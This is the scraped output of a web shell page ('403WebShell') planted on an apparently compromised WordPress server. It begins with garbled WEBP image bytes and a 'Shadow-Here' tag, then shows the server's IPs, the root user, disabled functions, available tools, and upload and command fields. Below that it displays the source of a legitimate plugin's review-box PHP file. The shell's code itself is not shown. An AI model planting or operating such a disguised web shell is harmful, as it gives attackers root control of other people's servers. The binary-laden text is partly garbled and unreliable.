RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/bit/wp-content/plugins/mystickyelements/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/bit/wp-content/plugins/mystickyelements/class-review-box.php
<?php
/**
 * Review Class
 *
 * @author  : Premio <contact@premio.io>
 * @license : GPL2
 * */

if (defined('ABSPATH') === false) {
	exit;
}

class Sticky_elements_review_box
{

	/**
	 * The Name of this plugin.
	 *
	 * @var    string    $pluginName    The Name of this plugin.
	 * @since  1.0.0
	 * @access public
	 */
	public $pluginName = "My Sticky Elements";

	/**
	 * The Slug of this plugin.
	 *
	 * @var    string    $pluginSlug    The Slug of this plugin.
	 * @since  1.0.0
	 * @access public
	 */
	public $pluginSlug = "mystickyelements";

	/**
	 * The Plugin review status.
	 *
	 * @var    string    $reviewStatus    The Slug of this plugin.
	 * @since  1.0.0
	 * @access public
	 */
	public $reviewStatus = true;

	/**
	 * The plugin slug for WordPress
	 *
	 * @var    string    $wpPluginSlug    The Slug of this plugin.
	 * @since  1.0.0
	 * @access public
	 */
	public $wpPluginSlug = "mystickyelements";

	/**
	 * Define the core functionality of the plugin.
	 *
	 * Set the plugin name and the plugin version that can be used throughout the plugin.
	 * Load the dependencies, define the locale, and set the hooks for the admin area and
	 * the public-facing side of the site.
	 *
	 * @since 1.0.0
	 */
	public function __construct()
	{
		$isHidden = get_option( $this->pluginSlug . "_hide_review_box" );
		if ( $isHidden !== false ) {
			$this->reviewStatus = false;
		}

		$currentCount = get_option( $this->pluginSlug . "_show_review_box_after" );
		if ( $currentCount === false ) {
			$date = date( "Y-m-d", strtotime( "+14 days" ) );
			add_option( $this->pluginSlug . "_show_review_box_after", $date );
			$this->reviewStatus = false;
		}

		$dateToShow = get_option( $this->pluginSlug . "_show_review_box_after" );
		if ( $dateToShow !== false ) {
			$currentDate = date( "Y-m-d" );
			if ( $currentDate < $dateToShow ) {
				$this->reviewStatus = false;
			}
		}
		
		if($this->reviewStatus) {
			add_action('admin_enqueue_scripts', [$this, 'enqueue_scripts']);
			add_action('admin_notices', [$this, 'admin_notices']);
		}
		add_action("wp_ajax_".$this->pluginSlug."_review_box", [$this, "form_review_box"]);
		add_action("wp_ajax_".$this->pluginSlug."_review_box_message", [$this, "form_review_box_message"]);


	}//end __construct()

	public function enqueue_scripts() {
		if (current_user_can('manage_options')) {
			wp_enqueue_style($this->pluginSlug."-star-rating-svg", plugins_url('css/star-rating-svg.css', __FILE__), [], MY_STICKY_ELEMENT_VERSION);
			wp_enqueue_script($this->pluginSlug."-star-rating-svg", plugins_url('js/jquery.star-rating-svg.min.js', __FILE__), ['jquery'], MY_STICKY_ELEMENT_VERSION);
            wp_localize_script(
                $this->pluginSlug."-star-rating-svg",
                'pr_rating_settings',
                ['has_settings' => 1]
            );
		}
	}

    

	/**
	 * Updates settings for Review Box Message
	 *
	 * @since  1.0.0
	 * @access public
	 * @return status
	 */
	public function form_review_box_message()
	{
		if (current_user_can('manage_options')) {
			$nonce = filter_input(INPUT_POST, 'nonce');

			if (!empty($nonce) && wp_verify_nonce($nonce, $this->pluginSlug."_review_box_message")) {
				add_option($this->pluginSlug."_hide_review_box", "1");
				$rating  = filter_input(INPUT_POST, 'rating');
				$message = filter_input(INPUT_POST, 'message');

				global $current_user;
				$postMessage = [];

				$domain    = site_url();
				$user_name = $current_user->first_name." ".$current_user->last_name;
				$email     = $current_user->user_email;

				$messageData          = [];
				$messageData['key']   = "email";
				$messageData['value'] = $email;
				$postMessage[]        = $messageData;

				$messageData          = [];
				$messageData['key']   = "stars";
				$messageData['value'] = $rating;
				$postMessage[]        = $messageData;

				$messageData          = [];
				$messageData['key']   = "message";
				$messageData['value'] = $message;
				$postMessage[]        = $messageData;

				$apiParams = [
					'title'   => 'Review for '.$this->pluginName.' WordPress',
					'domain'  => $domain,
					'email'   => "contact@premio.io",
					'url'     => site_url(),
					'name'    => $user_name,
					'message' => $postMessage,
					'plugin'  => $this->pluginName,
					'type'    => "Review",
				];

				// Sending message to Crisp API
				$apiResponse = wp_safe_remote_post("https://premioapps.com/premio/send-feedback-api.php", ['body' => $apiParams, 'timeout' => 15, 'sslverify' => true]);

				if (is_wp_error($apiResponse)) {
					wp_safe_remote_post("https://premioapps.com/premio/send-feedback-api.php", ['body' => $apiParams, 'timeout' => 15, 'sslverify' => false]);
				}
			}
			die;
		}

	}//end form_review_box_message()

	/**
	 * Updates settings for Review Box
	 *
	 * @since  1.0.0
	 * @access public
	 * @return status
	 */
	public function form_review_box()
	{
		if (current_user_can('manage_options')) {
			$nonce = filter_input(INPUT_POST, 'nonce');
			$days  = filter_input(INPUT_POST, 'days');
			if (!empty($nonce) && wp_verify_nonce($nonce, $this->pluginSlug."_review_box")) {
				if ($days == -1) {
					add_option($this->pluginSlug."_hide_review_box", "1");
				} else {
					$date = date("Y-m-d", strtotime("+".$days." days"));
					update_option($this->pluginSlug."_show_review_box_after", $date);
				}
			}
			die;
		}

	}//end form_review_box()


	/**
	 * Show Review HTML
	 *
	 * @since  1.0.0
	 * @access public
	 * @return html
	 */
	public function admin_notices()
	{
		if (!current_user_can('manage_options')) {
			return;
		}
		?>

        <!-- premio default review box -->
        <div class="notice notice-info premio-notice <?php echo esc_attr($this->pluginSlug) ?>-premio-review-box">

            <!-- premio review box default -->
            <style id="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default-stylesheet">
                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box {
                    position: relative;
                    border-left-color: #B78DEB;
                    padding: 18px 25px 18px 15px !important;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__title {
                    color: #000000;
                    font-size: 18px;
                    line-height: 27px;
                    font-weight: 600;
                    font-family: 'Arial';
                    margin: 0;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__title span{
                    color: #B78DEB;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default p {
                    color: #595959;
                    line-height: 21px;
                    vertical-align: middle;
                    padding: 0 10px 7px 0;
                    font-size: 14px;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-default__dismiss-btn {
                    position: absolute;
                    right: 5px;
                    top: 5px;
                    opacity: .6;
                    border: 0;
                    padding: 0;
                    background-color: transparent;
                    cursor: pointer;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-default__dismiss-btn:hover {
                    opacity: 1;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__co-founder {
                    display: inline-flex;
                    align-items: center;
                    gap: 15px;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__co-founder-img {
                    width: 30px;
                    height: 30px;
                    display: inline-block;
                    vertical-align: middle;
                    border-radius: 15px;
                }
            </style>

            <!-- premio review box thank you -->
            <style id="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you-stylesheet">
                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you {
                    display: none;
                }
                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you .thanks-wrap {
                    display: inline-flex;
                    gap: 12px;
                    align-items: center;
                    flex-wrap: wrap;
                }
                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__dismiss-btn {
                    position: absolute;
                    top: 5px;
                    right: 5px;
                    opacity: .6;
                    border: 0;
                    padding: 0;
                    background-color: transparent;
                    cursor: pointer;
                }

                <?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__dismiss-btn:hover {
                    opacity: 1;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__image {
                    width: 100%;
                    height: auto;
                    max-width: 200px;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__message .title {
                    font-weight: bold;
                    font-size: 18px;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__message .desc {
                    padding: 8px 0;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__message .footer {
                    font-weight: bold;
                }

            </style>

            <!-- review box popup stylesheet-->
            <style id="<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup-stylesheet">

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup {
                    position: fixed;
                    width: 100%;
                    height: 100%;
                    z-index: 10001;
                    background: rgba(0, 0, 0, 0.65);
                    top: 0;
                    left: 0;
                    display: none;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__dismiss-btn {
                    position: absolute;
                    right: 5px;
                    top: 5px;
                    opacity: .6;
                    border: 0;
                    padding: 0;
                    background-color: transparent;
                    cursor: pointer;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__dismiss-btn:hover {
                    opacity: 1;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__content {
                    background: #ffffff;
                    padding: 20px;
                    position: absolute;
                    max-width: 450px;
                    width: 100%;
                    margin: 0 auto;
                    top: 45%;
                    left: 0;
                    right: 0;
                    -webkit-border-radius: 5px;
                    -moz-border-radius: 5px;
                    border-radius: 5px;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__title {
                    padding: 0 0 10px 0;
                    font-weight: bold;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__options a {
                    display: block;
                    margin: 10px 0 5px 0;
                    color: #333;
                    text-decoration: none;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__options .dismiss {
                    color: #999;
                }
            </style>

            <!-- feedback popup stylesheet-->
            <style id="<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup-stylesheet">

                .<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup {
                    position: fixed;
                    width: 100%;
                    height: 100%;
                    z-index: 10001;
                    background: rgba(0, 0, 0, 0.65);
                    top: 0;
                    left: 0;
                    display: none;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__dismiss-btn {
                    position: absolute;
                    right: 5px;
                    top: 5px;
                    opacity: .6;
                    border: 0;
                    padding: 0;
                    background-color: transparent;
                    cursor: pointer;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__dismiss-btn:hover {
                    opacity: 1;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__content {
                    background: #ffffff;
                    padding: 20px;
                    position: absolute;
                    max-width: 450px;
                    width: 100%;
                    margin: 0 auto;
                    top: 50%;
                    transform: translateY(-50%);
                    left: 0;
                    right: 0;
                    -webkit-border-radius: 5px;
                    -moz-border-radius: 5px;
                    border-radius: 5px;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__form {
                    display: flex;
                    flex-direction: column;
                    gap: 10px;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__form textarea {
                    padding: 10px;
                    margin-top: 15px;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__form button {
                    border: none;
                    padding: 10px 0;
                    width: 100%;
                    background: #ff6624;
                    color: #fff;
                    border-radius: 4px;
                    cursor: pointer;
                    display: inline-block;
                }

                .<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__options .dismiss {
                    color: #999;
                }
                .please-rate-us {
                    padding: 10px 0 0;
                }
                .please-rate-us .rate-us-title {
                    vertical-align: middle;
                }
                .please-rate-us .<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__rating {
                    vertical-align: middle;
                }
            </style>

            <!-- default layout -->
            <div class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default">
                <h2 class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__title">
					<?php esc_html_e('Your', 'mystickyelements') ?> <span><?php esc_html_e('feedback', 'mystickyelements') ?></span> <?php esc_html_e('matters, please leave a review', 'mystickyelements') ?> 🙏
                </h2>

                <button class="<?php echo esc_attr($this->pluginSlug) ?>-review-box-default__dismiss-btn">
                    <span class="dashicons dashicons-no-alt"></span>
                </button>

                <p><?php printf( esc_html__("Hi there, it seems like %s is bringing you some value, and that's pretty awesome! Can you please show us some love and rate %s on WordPress? It'll only take 2 minutes of your time, and will really help us spread the word", 'mystickyelements'), "<b>".esc_attr($this->pluginName)."</b>", $this->pluginName);?></p>

                <div class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__co-founder">
                    <span>
                        <b><?php esc_html_e('Gal Dubinski', 'mystickyelements') ?></b>,
                        <?php esc_html_e('Co-founder', 'mystickyelements') ?>
                    </span>
                    <img class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__co-founder-img" width="30" height="30" src="<?php echo esc_url(MYSTICKYELEMENTS_URL."images/premio-owner.png") ?>" />
                </div>

                <div class="please-rate-us">
                    <div class="rate-us-title"><?php esc_html_e("Please rate us:"); ?></div>
                    <div class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__default__rating"></div>
                </div>
            </div> <!--end .premio-review-box__default-->

            <div class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you">
                <div class="thanks-wrap">
                    <button class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__dismiss-btn">
                        <span class="dashicons dashicons-no-alt"></span>
                    </button>

                    <img class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__image" width="200" src="<?php echo esc_url(MYSTICKYELEMENTS_URL."images/thanks.gif") ?>" />

                    <div class="<?php echo esc_attr($this->pluginSlug) ?>-premio-review-box__thank-you__message">
                        <div class="title"><?php esc_html_e("You are awesome ", 'mystickyelements')?> &#128591;</div>
                        <div class="desc"><?php esc_html_e("Thanks for your support, we really appreciate it!", 'mystickyelements')?></div>
                        <div class="footer"><?php esc_html_e("Premio team ", 'mystickyelements')?></div>
                    </div>
                </div>
            </div> <!--end .premio-review-box__thank-you-->

            <!-- review popup -->
            <div class="<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup">
                <div class="<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__content">
                    <button class="<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__dismiss-btn">
                        <span class="dashicons dashicons-no-alt"></span>
                    </button>
                    <div class="<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__title">
